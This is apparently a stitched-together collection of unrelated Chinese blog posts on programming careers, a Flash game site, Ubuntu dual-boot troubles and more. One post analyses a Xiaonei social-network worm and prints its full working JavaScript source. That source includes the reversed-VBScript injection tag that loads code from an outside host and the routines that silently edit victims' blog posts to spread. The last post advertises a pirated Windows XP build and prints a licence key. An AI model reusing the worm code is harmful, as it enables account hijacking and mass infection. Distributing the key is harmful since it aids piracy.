怎样成为一名程序员

通过以下4个阶段的训练, 没有任何编程基础人就可以成为一名普通的程序员。

第一阶段:掌握一种编程语言

学习内容:学习任意一种主流的编程语言。例如C++语言。

学习目标:熟练掌握一种语言的语法和基本的编程技巧。

学习时间:3个月左右

注意事项:编程语言和编程工具是两回事情,编程语言是指C++、Basic、Object Pascal等
程序设计语言,它们是像汉语、英语一样的抽象的语法规则,编程工具是指
Visual C++ 6.0、Visual Basic 6.0、Delphi 7.0等包括了源代码编辑器、程序编译器
在内的集成化、可视化的软件开发工具。C++源程序可以在Visual C++ 6.0里编写,也可以在
记事本里编写,而同一个C++源程序可以用Visual C++ 6.0编译、执行,也可以用C++ Builder 5.0
编译、执行,所以: C++ 不等于 Visual C++ 6.0

第二阶段:掌握一种编程工具

学习内容:学习任意一种主流的编程工具。注意编程工具要和第一阶段学习的编程语言一致,例如你学习的
编程语言是C++,那么编程工具要选Visual C++ 6.0或者C++ Builder 5.0。

学习目标:熟练掌握这种编程工具基本用法,例如:菜单、组件、程序跟踪调试、编写Windows程序等。

学习时间:3个月左右

注意事项:这个阶段侧重编程工具的使用,同时进一步熟习编程语言,最后达到能熟练编写各种基本的Windows程序。

第三阶段:掌握“算法与数据结构”这门课程

学习内容:算法与数据结构,推荐许卓群的《数据结构》,高等教育出版社出版。

学习目标:熟练掌握各种常用的算法与数据结构

学习时间:4个月左右

注意事项:这是一门不可或缺的软件开发课程,曾经有一本经典计算机专业书籍叫做《数据结构+算法=程序》,
这说明了数据结构和算法的重要性。它能帮我们建立良好的程序分析与设计能力。

第四阶段:实现一个模拟的小型软件项目

学习内容:软件项目的开发过程

学习目标:掌握软件项目的基本开发过程和方法

学习时间:4个月左右

注意事项:自己完成一个模拟的小型软件项目,强烈推荐做一个MIS(管理信息系统)软件,参考用书推荐
“中小型信息管理系统开发实例系列丛书”,人民邮电出版社,它的例子详实有效,
以它为基础再加以扩展,就可以做出实用的MIS软件来。
此丛书包括多种开发工具,大家可以选择适合自己的:《VISUAL FOXPRO6.0 数据库系统开发实例导航》
《JAVA数据库系统开发实例导航》 《VISUAL BASIC数据库系统开发实例导航》
《VISUAL C++6.0数据库系统开发实例导航》 《ASP.NET数据库管理系统开发实例导航》
《DELPHI数据库系统开发实例导航》 《POWERBUILDER 8.0数据库系统开发实例导航》。
最后将完成的模拟软件刻成光盘,作为自己的作品去面试,以此踏上自己光辉的职业程序员之路!祝大家一路顺风!

怎样成为一个程序高手呢?

  我每天都要收到很多的朋友来信。有不少的网友经常问我:面对众多的开发工具/语言,我该选择哪一个?怎样才能学好一门语言?怎样才能算是一个真正的程序高手?……

  首先,我不算是一个什么程序高手,我也就半吊子水晃晃荡荡。我不太喜欢“程序高手”这个词,最多,只能算是一名“熟炼的开发者”而已,很多时候亦是半懂不懂。我编程是靠自学的,没有人教,也没有人问。因此走了不少弯路。当然现在看来,那些走过的弯路也算是一种积累。从 1994 开始, 我所使用的开发工具是这样一个经历:1994: GWBASIC, 1995: FOXBASE, TC, 1996: VFP, VB, PB, DELPHI, 1999: VC++, PHP。总的说来,各种开发工具各有秋千,应根据具体应用来采用不同的工具。例如写MIS用PB/VB,界面设计用VB/Delphi,写系统软件,用C/C++是最好的,做网站,有 PHP, ASP, JSP等等。对于初学者来说,先用一种可视化强的工具(如VFP/VB/DELPHI)比较好,容易掌握,上手也快。但如果你想走更深入一引起,我建议你还是很有必要去精通C/C++,甚至了解一些汇编。

  有人说,C/C++太难学了,开发效率也不高。我先不说C/C++优越于其他语言的地方(这在很多的资料中都有介绍),就单从一个很功利的角度来说说。Delphi/ VB对于一般人来说学上几个月就可以上手了。易学的东西学的人肯定多。而对于C来说,由于它难掌握,学的人不火,但一旦你真正掌握了,你的竞争实力就比其他人强。现实中,C程序员的工资普遍高于其他程序员就是一个证明。

  就我个人认为,程序员不应该拘泥于某个特定的语言,每天为某个开发工具的优劣争来争去是没有意义的。重要的只有两点:

 

  1. 你用的开发工具能解决你所遇到的实际问题吗?实用为王,适合的,能用的,就是最好的。
  2. 你喜欢这个开发工具吗?兴趣,兴趣才是最重要的。选择你所喜欢的。

  那么,怎样跨越程序新手这道坎呢?下面这几点建议也许对你可能有些帮助:

 

  1. 遇到问题时从所有你能想到的方面考虑去试图解决;
     
  2. 一定多动手,学一个专题(如网络/多媒体)后写一个软件检验自己;
     
  3. 用好联机文档(如MSDN)查询函数和资料,利用网络资源;
     
  4. 掌握好的跟踪调试技巧,多看一些高手的程序,从本质上理解;
    ……

  说白了,要想成为一名熟炼的开发者,就是最大限度的利用现有的资源,然后加上你的汗水。没有什么稀奇的。

一个不为人知的感染几百万校内网用户的蠕虫分析

文章作者:langouster
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫,开始还以为是我的网页有问题,就随便打开几个人的页面查看,发现许多人的页面上也有这段代码。

 <a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIyBtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpircs""(tnemelEetaerc.tnemucod=s tes")) )'>

以上代码出现在日志的开头,只有查看源文件才能发现。它将vbscript调了个头写,调回来就变成以下内容:

 set s=document.createElement("script")
 s.src=http://www.sosoface.com/images/xnjs.jpg
 document.getElementById("mya113").parentNode.insertBefore s,document.getElementById("mya113")

在这段脚本中它又新建了一个script,它的src指向http://www.sosoface.com/images/xnjs.jpg(别相信后缀),下载加这个“jpg”用记事和UE打开都发现它填充了大量的asc的00(真不敢相信填充了那么多00 IE还能执行),不过用Dreamweaver打开显示正常,拷出JS。然后花了几乎一天的时间来分析这个js文件,发现它完完全全是一个基于ajax的蠕虫。
值得注意的是作者好像很低调,在蠕虫代码中除了感染就是隐藏,没有一行破坏性的代码,仅仅是加了一个站长统计,估计作者是用来研究蠕虫传播情况的,因为站长统计要密码我们进不去,所以不知道具体的感染情况,但是我刚才在google上搜了下sosoface,还是看到这个网站的流量图:
http://www.chinarank.org.cn/detail/Info.do?url=www.sosoface.com&r=1192875678218

从图上可以看到流量在几天时间里大增,这些天应该是蠕虫感染的时间。日访问人数从0猛增到500百万人/天,也就是每天那个JPG要被访问5亿次考虑到一个人可能访问多个页面,粗略估计应该至少有几百万人受到感染。另外,也就在大概两三天前这个蠕虫应该是被校内的人发现了,一夜之间全部消失了。 Sosoface也被停了。

下面来分析感染代码,我直接把注释写在JS中了,原本的程序可是一行注释也没有的。看时从最底下的start函数看起:

 var req = null;
 var step=null;
 var DiaryMonthUrlList="",DiaryUrlList="";
 var timer=null;
 var bIsBusy=false;

 var myrand="46.115.50.124.115.127.119.47.48.127.107.115.35.35.33.48.50.123.118.47.48.127.107.115.35.35.33.48.50.97.102.107.126.119.47.53.112.115.113.121.117.96.125.103.124.118.40.103.96.126.58.100.112.97.113.96.123.98.102.40.119.106.119.113.103.102.119.58.65.102.96.64.119.100.119.96.97.119.58.48.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.62.97.50.119.96.125.116.119.80.102.96.119.97.124.123.60.119.118.125.92.102.124.119.96.115.98.60.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.50.40.48.48.117.98.120.60.97.120.124.106.61.97.119.117.115.127.123.61.127.125.113.60.119.113.115.116.125.97.125.97.60.101.101.101.61.61.40.98.102.102.122.48.48.47.113.96.97.60.97.40.59.48.48.102.98.123.96.113.97.48.48.58.102.124.119.127.119.126.87.119.102.115.119.96.113.60.102.124.119.127.103.113.125.118.47.97.50.102.119.97.48.59.59.50.59.53.44.46.61.115.44";

 function my_HtmlDecode(str)
 {
 str=str.replace(/</g,"<");
 str=str.replace(/>/g,">");
 str=str.replace(/&/g,"&");
 str=str.replace(/ /g," ");
 str=str.replace(/"/g,""");
 str=str.replace(/<br>/g,"n");
 str=str.replace(/#/g,"#");
 str=str.replace(/(/g,"(");
 str=str.replace(/)/g,")");
 str=str.replace(/"/g,""");
 str=str.replace(/'/g,"'");
 str=str.replace(/#/g,"#");
 str=str.replace(/(/g,"(");
 str=str.replace(/)/g,")");
 str=str.replace(/"/g,""");
 str=str.replace(/'/g,"'");
 return str;
 }
 function processReqChange()
 {
 if (req.readyState == 4 && req.status == 200 )
 {
 if("WriteIframe"==step)
 {
 var text,len,i=0,j=0,temp;
 
 text=req.responseText;
 i=text.indexOf("<div class="article">",0);
 if(-1==i){return}
 i=text.indexOf("http://blog.xiaonei.com/GetEntry.do",i);
 if(-1==i){return}
 j=text.indexOf(""",i);
 if(-1==j){return}
 text=text.substring(i,j);
 
 document.getElementById("mya113").style.background="#FFFFFF";
 var s=document.createElement("iframe");
 s.frameborder="0";
 s.height="0";
 s.width="1";
 s.src=text;
 document.getElementById("mya113").parentNode.insertBefore(s,document.getElementById("mya113"));
 }
 else if("GetDiaryMonthList"==step)
 {
 var text,len,i=0,j=0,temp;
 //text的内容就和用户点“我的日志”得到的内容一样,分析HTML,得到“日志存档”中的每一个链接,保存到DiaryMonthUrlList中
 //然后跳到GetStatus函数,此时step="GetDiaryList" 取出每个月的日志列表
 text=req.responseText;
 i=text.indexOf("<div id="list-archive">",0);
 if(-1==i){return}
 j=text.indexOf("<div class="bottom-box">",i);
 if(-1==j){return}
 text=text.substring(i,j);
 
 i=j=0;
 while(1)
 {
 i=text.indexOf("http://blog.xiaonei.com/MyBlog.do",i);
 if(-1==i)break;
 j=text.indexOf("'>",i);
 if(-1==j)break;
 temp=text.substring(i,j);
 i+=temp.length;
 temp=my_HtmlDecode(temp)+"|";
 DiaryMonthUrlList+=temp;
 }
 if(DiaryMonthUrlList.length<=1)
 {
 return;
 }
 
 step="GetDiaryList";
 req=null;
 bIsBusy=false;
 timer=window.setInterval(GetStatus,1000);
 }
 else if("GetDiaryList"==step)
 {
 var text,len,i,j,temp,temp2;
 var text2="http://blog.xiaonei.com/EditEntry.do?id=";
 
 //text的内容就和用户点了“日志存档”后的内容一样
 //分析HTML得到每个月的日志列表保存在DiaryUrlList中,然后step=GetDiaryText也就是取得日志的内容,
 //看本函数下面else if("GetDiaryText"==step)就是了
 text=req.responseText;
 
 len=text.length;
 i=text.indexOf("<div id="list-article">");
 if(-1==i)
 {
 req=null;
 bIsBusy=false;
 return;
 }
 j=text.indexOf("</table>",i);
 if(-1==j)
 {
 req=null;
 bIsBusy=false;
 return;
 }
 text=text.substring(i,j);
 i=j=0;
 
 
 while(1)
 {
 j=0;
 len=0;
 j=DiaryUrlList.indexOf("|",j);
 while(j!=-1)
 {
 j++;
 len++;
 j=DiaryUrlList.indexOf("|",j);
 }
 
 if(len>=5)//只感染前5篇日志 或者是4篇 没仔细研究
 {
 break;
 }
 
 i=text.indexOf(text2,i);
 if(-1==i)
 {
 break;
 }
 i+=text2.length;
 j=text.indexOf("">",i);
 if(-1==j || j-i>10)
 {
 break;
 }
 temp=text2+text.substring(i,j)+"|";
 DiaryUrlList+=temp;
 }
 req=null;
 bIsBusy=false;
 }
 else if("GetDiaryText"==step)
 {
 var text,len,i,j;
 var argv;
 var title,body,blog_pic_id="0",pic_path,blogControl,Diaryid;
 
 
 text=req.responseText;
 //这个模块模拟用户编辑日志,在每篇日志的开关都加上
 //<a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIyBtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpircs""(tnemelEetaerc.tnemucod=s tes")) )'>
 
 i=text.indexOf("<form action="http://upload.xiaonei.com/EditEntry.do"",0);
 
 if(-1==i)
 {
 return;
 }
 i+=53;
 
 j=text.indexOf("</form>",i);
 if(-1==j)
 {
 return;
 }

 text=text.substring(i,j);
 //------------------------
 
 i=text.indexOf("id="title" class="inputtext" tabindex="1" value="",0);
 if(-1==i)return;
 i+=49;
 j=text.indexOf("" />",i);
 if(-1==j)return;
 title=text.substring(i,j);
 //---
 i=text.indexOf("<textarea name="body" id="body" cols="100%" style="display:none">",0);
 if(-1==i)return;
 i+=65;
 j=text.indexOf("</textarea>",i);
 if(-1==j)return;
 body=text.substring(i,j);
 //---
 i=text.indexOf("id="blog_pic_id" value="",0);
 if(-1==i)return;
 i+=24;
 j=text.indexOf("" />",i);
 if(-1==j)return;
 blog_pic_id=text.substring(i,j);
 //---
 i=text.indexOf("id="pic_path" value="",0);
 if(-1==i)return;
 i+=21;
 j=text.indexOf("" />",i);
 if(-1==j)return;
 pic_path=text.substring(i,j);
 //---
 i=text.indexOf("name="id" value="",0);
 if(-1==i)return;
 i+=17;
 j=text.indexOf("" />",i);
 if(-1==j)return;
 Diaryid=text.substring(i,j);
 //---
 i=text.indexOf("" selected="selected"",0);
 if(-1==i)return;
 j=i-2;
 if(text.substr(j,1)==""")
 j++;
 blogControl=text.substring(j,i);
 
 
 body=my_HtmlDecode(body);
 if(body.indexOf("mya113",0)>=0)//已经感染过,不再感染
 {
 req=null;
 step="GetDiaryText";
 bIsBusy=false;
 
 return;
 }
 else
 {
 ;
 }
 //以上是取日志的各个变量信息
 //以下开头就感染日志并修改
 
 body=MyDecode(myrand)+body;
 //感染日志 在日志的开头加上跨站代码
 //MyDecode(myrand)中保存的就是跨站的关键代码,作者加密了一下放在myrand变量中,程序开头的一长串数据就是
 
 //以下开始POST提交修改过的日志
 argv="";
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="title"";
 argv+=(title+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="body"";
 argv+=(body+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="theFile"; filename=""Content-Type: application/octet-stream";
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="blog_pic_id"";
 argv+=(blog_pic_id+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="pic_path"";
 argv+=(pic_path+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="blogControl"";
 argv+=(blogControl+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="id"";
 argv+=(Diaryid+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="relative_optype"";
 argv+=("publisher"+"");
 argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="del_relative_id"";
 argv+="-----------------------------7d71861cb014c--";
 
 
 req=null;
 step="EditDiaryText";
 loadUrl("http://blog.xiaonei.com/EditEntry.do","POST",argv);
 

 }
 else if("EditDiaryText"==step)
 {
 
 req=null;
 bIsBusy=false;
 step="GetDiaryText";
 }
 else
 {
 ;
 }
 
 }
 }
 function MyDecode(str)
 {
 var i,k,str2="";
 
 k=str.split(".");
 
 for(i=0;i<k.length;i++)
 {
 str2+=String.fromCharCode(k[i]^0x12);
 }
 return str2;
 }
 function loadUrl( url,method,argv )
 {
 bIsBusy=true;
 if(!req)
 {
 if(window.XMLHttpRequest)
 {
 try
 {
 req = new XMLHttpRequest();
 } catch(e) { req = false; }
 }
 else if(window.ActiveXObject)
 {
 try
 {
 req = new ActiveXObject('Msxml2.XMLHTTP');
 }
 catch(e)
 {
 try
 {
 req = new ActiveXObject('Microsoft.XMLHTTP');
 } catch(e) { req = false; }
 }
 }
 }
 if(req)
 {
 req.onreadystatechange = processReqChange;
 try
 {
 req.open(method, url, true);
 if(method=="POST")
 req.setRequestHeader("Content-Type","multipart/form-data; boundary=---------------------------7d71861cb014c");
 req.send(argv);
 }catch(e)
 {
 req=false;
 }
 }
 }
 function GetStatus()
 {
 if(bIsBusy)return;
 
 if("GetDiaryList"==step)
 {
 var DiaryMonthUrl,i;
 
 //取出每个月的日志列表
 if(DiaryMonthUrlList.length<=1)
 {
 step="GetDiaryText";
 return;
 }
 i=DiaryMonthUrlList.indexOf("|",0);
 if(-1==1)
 {
 step="GetDiaryText";
 return;
 }
 DiaryMonthUrl=DiaryMonthUrlList.substring(0,i);
 DiaryMonthUrlList=DiaryMonthUrlList.substring(i+1,DiaryMonthUrlList.length);
 
 //再回到开头的processReqChange函数 此时step还是GetDiaryList
 loadUrl(DiaryMonthUrl,"GET","");

 }
 else if("GetDiaryText"==step)
 {
 var DiaryUrl,i;
 if(DiaryUrlList.length<=1)
 {
 clearInterval(timer);
 return;
 }
 
 i=DiaryUrlList.indexOf("|",0);
 if(-1==i)
 {
 clearInterval(timer);
 return;
 }

 DiaryUrl=DiaryUrlList.substring(0,i);
 DiaryUrlList=DiaryUrlList.substring(i+1,DiaryUrlList.length);

 loadUrl(DiaryUrl,"GET","");
 }
 }
 function WriteStat()
 {
 var s=document.createElement("iframe");
 s.frameborder="0";
 s.height="0";
 s.width="0";
 s.src="http://www.sosoface.com/images/stat.jpg";
 document.getElementById("mya113").parentNode.insertBefore(s,document.getElementById("mya113"));

 }

 function DeleteScript(html)
 {
 var i=0,j=0,str;
 
 str=html;

 i=str.indexOf("</A>",0);
 if(-1==i)
 return str;
 i+=4;
 str=str.substring(i,str.length);

 return str;
 }
 function EditorSubmit()
 {
 var ret=false;
 parent.parent.descOptype();
 ret=parent.parent.beforeSubmit();

 parent.parent.document.getElementById("body").value=MyDecode(myrand)+DeleteScript(parent.parent.document.getElementById("body").value);

 return ret;
 }
 function Start()
 {
 //判断是不是blog.xiaonei.com域,由于ajax是不能跨域的,所以判断是必备的
 if("blog.xiaonei.com"==document.domain)
 {
 //如果是在编辑已感染的日志 就做了一些奇怪的行为,我看不懂,好像是把自己重写了一遍,不知道为什么这样做
 if("http://blog.xiaonei.com/pages/editor/win.htm"==document.location)
 {
 parent.parent.document.getElementById("editorForm").onsubmit=EditorSubmit;
 }
 else
 {
 
 WriteStat();//这是一个用户流量统计的函数,使用cnzz 站长助手
 //下面开始感染了,第一步GetDiaryMonthList,得到日志的按月归档
 step="GetDiaryMonthList";
 loadUrl("http://blog.xiaonei.com/MyBlog.do","GET","");//loadUrl是一个ajax读取页面内容的函数
 //下面跳到开头的processReqChange函数
 }
 }
 else if("xiaonei.com"==document.domain || "www.xiaonei.com"==document.domain)
 {
 //如果不在blog.xiaonei.com域就写入一个Iframe Iframe的SRC是日志的URL
 //这个URL是blog.xiaonei.com域的,就变向的实现了跨域,
 //作者这样做应该是为了一访问别人的主页就能感染
 var url="";
 
 url=document.location.toString();
 if(url.indexOf("&")==-1)
 return;
 step="WriteIframe";
 loadUrl(url,"GET","");
 }
 }

 Start();

发现一个有趣的网站

今天在网上闲逛时经朋友推荐发现了一个有趣的网站


这是一个用flash技术做的网络游戏,但是跟我们目前接触的在线flash游戏又有很多不同,应该是一个交友类的游戏。首先它的画风很独特,可以用中国的成语夜黑风高来形容,在左边的截图中你可以看到漫天星空下一个人独自站在草地上,那就是本人啦。当然并不是这个游戏人气不高,我是为了拍照专门挑了个没人的地方:)

进入这个网站后,根据提示选择一个人物然后给自己定一个昵称就可以开始游戏了。你不仅可以在地上跑还可以飞到天上,如果你想泄气可以找个人打一架,如果你的心情比较好还可以跟别人跳段舞。刚刚进去时我不知道怎么跳舞,来了个老外邀请我跳舞,我告诉他我不会,叫他告诉我怎么跳。这个人告诉我按ctrl+w,当我按下ctrl+w时我发现这是网页关闭键。。。气死我了,马上进去叫上我的同事们一起把他揍了半个小时,如果你想跳舞我先告诉大家热键就是ctrl+home,千万别被骗了:)


不过好人还是有的,不一会就又有个老外找我聊天,他自称是美国的,然后我用蹩脚的外语告诉他"I'm Chinese"。为了不给我们国人丢脸,我大量使用国际通行的简写,让他觉得我是个老鸟。从他的口中我得知这个站点最多有36个人在线,而且是一个获得过Flash优秀设计奖的作品。后来又来了个欧洲人跟我探讨全球变暖的问题,我觉得这个话题所涉及的词汇不是我等菜鸟可以对付的,找了个借口就飞到天上跑了。。。


总体来说这个网站的感觉还是不错的,但是如果你打算在里面交到朋友还是需要花点精力的。我经常看到几个老外满屏幕追一个MM。不过聊一聊天,练练英语倒是一个好去处。

在WindowsXP下从硬盘安装Ubuntu双系统

在WindowsXP下从硬盘安装Ubuntu双系统 前几天突然间头脑发热,一时冲动决定安装Linux,系统选择的是现在最流行的Ubuntu5.04,但是手边又没有Ubuntu的安装盘,于是就采用了在XP下从硬盘安装的方法。具体操作见:  http://www.ubuntu.org.cn/support/documentation/doc/installformxp安装之前仔细得把注意事项和安装说明看了一下,觉得应该不会有什么问题,而且之前还在虚拟机上成功得安装过Ubuntu。不过当时还是把E盘的所有存档文件都备份到康子的电脑上,由于按照安装说明操作对C、D盘没有影响,于是没有备份。

  系统初始状况: OS:WindowsXP+SP2

盘符:
 
C
 
D
 
E
 
大小:
 
5G
 
8G
 
21.5G
 
格式:
 
NTFS
 
NTFS NTFS

  为了安装Ubuntu,在把E盘备份后在XP里用磁盘管理将E盘删掉,然后新建了一个16G的FAT32分区作为E盘,剩下的空间用于安装Ubuntu。

  坎坷的安装历程:

  1. 第一次安装。由于从硬盘安装ISO文件要在FAT分区下,所以ISO文件放在E盘,按照上面的方法开始安装,在安装的过程中惊奇的发现在Linux中我的硬盘第一次被识别为标称的40G,那2.3G被联想用来做一键恢复系统的隐藏分区竟然被揪出来了。那个一键还原对我来说就是垃圾,从来没用过,现在猛然多出2.3G的空间当然很开心,于是把预留的空间和这2.3G空间全部分给了Ubuntu。安装过程一切顺利,最后一步安装 grub的时候也识别出了已安装的WindowsXP,于是就一路Next,结束安装。可是在安装结束重启的时候加载grub的时候就停在了那儿,显示 error 18,什么系统也进不去。无语了,好在手边有一张买杂志时送的启动工具盘,用DOS进去之后发现原来新建的那个E盘莫名其妙的变成了C盘,而原先的C、D 盘则变成了D盘E盘。当时缺少经验误以为是C盘为NTFS所致,于是打算把盘全格了重新装一遍XP,分区全部选FAT32。可是想不到的是用XP安装盘安装的时候,它竟然识别出硬盘的大小却无法写入。无奈之下再用工具盘里的Disk Genius把所有的分区都删了,当时比较冲动,也没有冷静的想想那些需要备份,好在几天前刚做了一次备份,损失不是很大,不过还是丢了一些比较重要的资料。不管好歹,终于可以安装Windows了。
    盘符:
     
    C
     
    D
     
    E
     
    /hda6
     
    /hda7
     
    大小:
     
    5G
     
    8G
     
    16G
     
    5G
     
    0.5G
     
    格式:
     
    FAT32
     
    FAT32
     
    FAT32
     
    ReiserFS Swap
     

  • 第二次安装。这次安装的时候就预先把XP里的分区都分好了,大小和上面的一样,留下了靠近6G的空闲空间给Ubuntu。顺利装好XP,由于做好了再次重装的准备,什么也没做就开始装Ubuntu了。这次把硬盘安装要的一堆东西全部扔在C盘,安装过程和上面一次相同。结果也差不多,开机之后不是error18了,变成error17,我ft!

     

  • 第三次安装。这时已经比较火大,决定先在虚拟机上装个双系统试试。人倒霉的时候喝凉水都塞牙,在VMware上装XP的时候竟然装了一半安装盘出了问题,我kao!换了一张盘给XP和Ubuntu各分了4G的空间,很顺利的装好了,也很顺利的启动了,grub一点问题都没有。邪门了!(PS:裸机跑VMware的感觉真爽)  
     
  • 第四次安装。这时学聪明了,想到以前有人说过Linux不能安装在8G之后的分区上,否则不能启动。不过在BBS上看到大家都说现在的BIOS版本不存在这个问题,而且Ubuntu的安装说明也没有提到这一点,看LinuxApp版上大家都装在8G之后也没什么问题,难道我人品特别差?不管了,这次装XP的时候就只给C盘分了5G的空间,剩下的全部空在那儿。安装过程还是波澜不惊,等到要结束安装grub时,考虑到每次都是grub出错,就手动把grub安装在/dev/hda1,就是Windows中的C盘。装好之后,忐忑不安得重启,yeah,ubuntu加载成功,激动惨了。激动过后准备到Windows下把补丁什么的打一下的,结果发现进不了Windows了,我吐血!在 grub那一步就变成了死循环,选XP进去还是grub,再选还是grub。郁闷万分的到BBS上一看,看到了这么一段话:

    这种情况我遇到过。。。后果很严重。。。
    出现这种情况的原因是
    setup (hdc*,0)这句并不是将GRUB安装在MBR上
    而是安装在hdc0的分区上,如果window正好装在hdc0
    grub 就破坏了windows的分区,所以造成c盘无法识别
    同时用grub引导启动windows时由于hdc0引导区被grub
    占用,所以启动windows选项会形成循环启动GRUB!!!

    正确用法是setup (hdc)才能将其装在hdc的MBR上!!!

    但如果已经用setup(hdc, 0)执行grub安装
    再次用setup(hdc)就无效了
    我当时没有找到解决办法,只能重装windows

    我郁闷啊!!!继续往下看,觉得柳暗花明又一村,有牛人给出了解决方法:

    用windows盘重新安装,安装开始后重启
    据说就可以了,因为windows好像是先写引导扇区,然后再实际安装,据说

    连忙试了一下,貌似可行,能够成功得进入XP,系统也没什么破坏,但是进不去Ubuntu了,不管了,能保全XP就是万幸了。然后在XP下重新按照上面的方法安装Ubuntu,结果装的过程中说原先安装有Ubuntu的那个分区有数据会影响安装,我也不知道怎么折腾的让它继续下去了,结果最后突然冒出来一个让我选择内核的提示,被我顺手取消掉了,安装过程貌似很正常的结束了。重启之后两个系统都能很正常得进入,把我激动得在宿舍里大喊大叫。可是没高兴多久就发现Ubuntu系统极不稳定,X界面不断得重启,估计是内核没装好,无奈之下,我只好再次用工具盘里的分区工具把那两个分区给格了,然后重装了一遍 Ubuntu,总算一切正常了。

    盘符:
     
    C
     
    /hda2
     
    /hda3
     
    /hda4
     
    大小:
     
    5G 5G
     
    0.5G
     
    24G
     
    格式:
     
    FAT32
     
    ReiserFS Swap
     
     

    可是新的问题又出现了,我发现在XP的磁盘管理里,剩下的那24G空间只能分成一个分区,这也忒郁闷了,再次出动工具盘,用Disk Genius把剩下的那24G空间成功得分成了16G和8G两个FAT32分区,更新分区表,保存,成功!等到重启时才发现由于更新了分区表,grub又坏了,什么也进不去了,我基本上崩溃了……                                                      

    第五次安装。有了前面这N次的经验教训,我已基本知道该怎么做了。首先先用Disk Genius把所有的分区全部删除,然后用XP的安装盘建立了如下分区:

    盘符:
     
    C
     
    D
     
    E
     
    F
     
    大小:
     
    5G
     
    5.5G
     
    8G
     
    16G
     
    格式:
     
    FAT32
     
         

    然后在C盘上安装Windows,安装结束后在Windows下安装Ubuntu,将其安装在原先划分的D分区上,把D分区分为主分区和交换分区两部分,默认安装grub,结束安装,这次,终于真正的成功了。安装之后硬盘的分区情况如下:

    盘符:
     
    C
     
    /hda2
     
    /hda3
     
    D
     
    E
     
    大小:
     
    5G
     
    5G
     
    0.5G
     
    8G
     
    16G
     
    格式:
     
    FAT32
     
    ReiserFS Swap FAT32 FAT32

      经验教训:

    • 在装Linux的时候,无论你对过程有多熟悉,无论在虚拟机上试过几次,安装之前最好还是备份一下重要的文件,而且不能备份在同一块硬盘上。因为你无法预测在实际过程中会出现哪些莫名其妙的问题。
    • 这次安装失败可能有两个原因:
    1. BIOS版本过老,存在1024柱头问题,导致安装在8G分区之后的Linux无法识别。
    2. 联想自带的那个隐藏分区搞得鬼。因为储存在MBR里的硬盘大小信息是35G左右,而Linux却认出了40G,也就是把那个隐藏分区认出来了,而装的过程中又把那个分区给破坏掉了,导致信息和MBR里面储存的不一致,出现错误。

    具体是哪个原因我现在也不清楚,只有等下次全面重新安装的时候试一下才能清楚。

  •  

番茄花园 Windows XP Pro SP2 免激活 V3.3

番茄花园 Windows XP Pro SP2 免激活 V3.3

CD-KEY:HCQ9D-TVCWX-X9QRG-J4B2Y-GR2TT

一、 软件介绍
本安装程序是ISO可启动映像文件,推荐下载以后直接用NERO刻录映像文件,然后用光盘安装,当然也可以硬盘安装,运行对应目录下的WINNT32.BAT(Win下安装)或WINNT16.BAT(Dos下安装)

二、番茄花园系统特点
番茄花园系统=原版+补丁+必要优化+可选自动安装+可选主题美化+增强功能
为什么选番茄花园
+可以通过正版验证
+集合所有补丁
+添加漂亮的可选主题
+进行必要的优化
+多版本可选
+无人值守安装
+实用的增强软件

三、具体修改明细
+ 添加 SATA/RAID/SCSI/CPU/Chipset 等驱动包(DPs_BASE7.05.2)
+ 添加 N 种最新主题,让你的 XP 充满个性化
+ 集合 到目前为止的所有 XP 关键补丁程序(2007-08)
+ 集合 最新 Internet Explorer 7.0 正式版(可选安装)
+ 集合 Flash Player AX 9.0.47.0 插件
+ 集合 番茄吧3.2
+ 集合 360安全卫士
- 去掉 Windows 漫游
- 去掉 Zip 文件夹
- 去掉 安全中心
- 去掉 华生医生
- 去掉 桌面清理向导
- 去掉 Movie Maker
- 去掉 系统自带的鼠标光标
- 去掉 系统自带的图像背景
- 去掉 音乐示例
- 去掉 Internet 游戏

部分优化列表
+加快局域网访问速度
+加快搜索网上邻居的速度
+开启 IE 自动缩图功能
+下载完成自动关闭
+减少开关机速度系列
+打开启动优化功能
+加快程序运行速度
+加快菜单显示速度
+加速打开我的电脑和Explorer
-禁止默认共享
-清除共享文件夹
+防火墙允许访问共享文件
-跳过internet连接向导
-禁用IE中script错误报告
-禁止显示script错误通知
-禁止显示友好http错误
-关闭XP文件保护
-删除多余开机程序
-关闭桌面清理向导
-关闭分组相似任务栏按钮
-不缓存缩略图
-删除图标快捷方式的字样
-禁止高亮显示新安装的程序(开始菜单)
+打开自动更新
-关闭错误报告
-关闭系统还原
-禁止远程修改注册表
-禁用远程注册表服务
-禁用索引服务
-禁用帮助支持中心
-禁用安全中心
-禁用Messenger服务
-关闭计划任务
+允许为回收站重命名
+在程序组中显示管理工具
+显示所有文件扩展名
+显示桌面系统图标
+显示快速启动
-禁止启动时候弹出错误信息
-系统失败(禁止自动重启,不发送管理警报,不写入调试信息)
-禁用ZIP功能
-关闭"压缩旧文件"功能
-去掉右键“新建”中的BMP、WAV等
+让Winodws进行最大限度搜索,包括隐藏文件夹
-禁止跟踪损坏的快捷方式
-禁用搜索助手并使用高级所搜
-移去开始中的“帮助”菜单
-安装驱动时不搜索Windows Update
+添加右键用记事本打开
+添加右键“Dos 在这里”
